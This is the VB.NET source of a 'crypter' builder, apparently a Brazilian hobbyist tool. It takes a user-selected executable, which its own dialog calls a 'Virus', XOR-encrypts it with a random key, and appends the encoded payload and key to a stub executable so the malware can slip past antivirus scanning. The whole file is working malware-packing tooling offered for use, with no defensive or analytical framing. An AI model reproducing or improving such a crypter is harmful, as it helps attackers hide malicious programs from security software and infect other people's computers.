Public Class Form1
    '---------------------------------------
    'Gerador basico de Crypter VB.NET v1.0 -
    'Codigos Criados Por Krawk             -
    'Skype live:Krawkreverser              -
    'Email Krawkreverser@gmail.com         -
    '---------------------------------------
    Public Function Random_Xor_Key(ByVal longitud As Integer) As String
        Dim cadena As String = "SKYTXRHOAFLRKTXFSUFEYNTTEXRNMHAOPDNSHTNLYREUNDCMSNNYPPTNWKUCDXQPKLNFBYUUPLSTSNHHPLYOBNHSRJYXPAHPPGYL"
        Dim r As New Random
        Dim l As Integer
        Dim sb As New System.Text.StringBuilder
        For i = 1 To longitud
            l = r.Next(0, 62)
            sb.Append(cadena.Substring(l, 1))
        Next
        Return sb.ToString()
    End Function
    Public Function Xor_Encrypt(ByVal up As Byte()) As Byte()
        Dim CL As Byte() = System.Text.Encoding.ASCII.GetBytes(TextBox2.Text)
        Randomize()
        Dim FP As Integer = Int((255 - 0 + 1) * Rnd()) + 1
        Dim BA(up.Length) As Byte
        Dim KA As Integer
        For MP As Integer = 0 To up.Length - 1
            BA(MP) += (up(MP) Xor CL(KA)) Xor FP
            If KA = TextBox2.Text.Length - 1 Then KA = 0 Else KA = KA + 1
        Next
        BA(up.Length) = 112 Xor FP
        Return BA
    End Function
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        TextBox2.Text = Random_Xor_Key(30)
    End Sub
    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Dim open As New OpenFileDialog
        With open
            .Filter = "Exe|*.exe"
            .Title = "Procure seu ""Virus"""
            If .ShowDialog = Windows.Forms.DialogResult.OK Then
                TextBox1.Text = open.FileName
            End If
        End With
    End Sub
    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
        TextBox2.Text = Random_Xor_Key(30)
    End Sub
    Const Senha = "KrawkBasicGen"
    Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
        Try
            Dim save As SaveFileDialog = New SaveFileDialog
            Dim dir As String
            Using save
                save.Filter = "Encryptado |*.exe"
                save.Title = "Salve seu arquivo cryptografado"
                save.FileName = "Criptografado"
                If (save.ShowDialog = DialogResult.OK) Then
                    dir = save.FileName
                Else
                    Return
                End If
            End Using
            Dim Encoder As Byte() = Xor_Encrypt(IO.File.ReadAllBytes(TextBox1.Text))
            IO.File.WriteAllBytes(dir, My.Resources.Stub)
            IO.File.AppendAllText(dir, Senha & Convert.ToBase64String(Encoder) & Senha & TextBox2.Text & Senha)
            MsgBox("Sucesso !", MsgBoxStyle.Information, "Crypter")
        Catch ex As Exception
            MsgBox(ex, MsgBoxStyle.Critical, "Crypter")
        End Try
    End Sub
End Class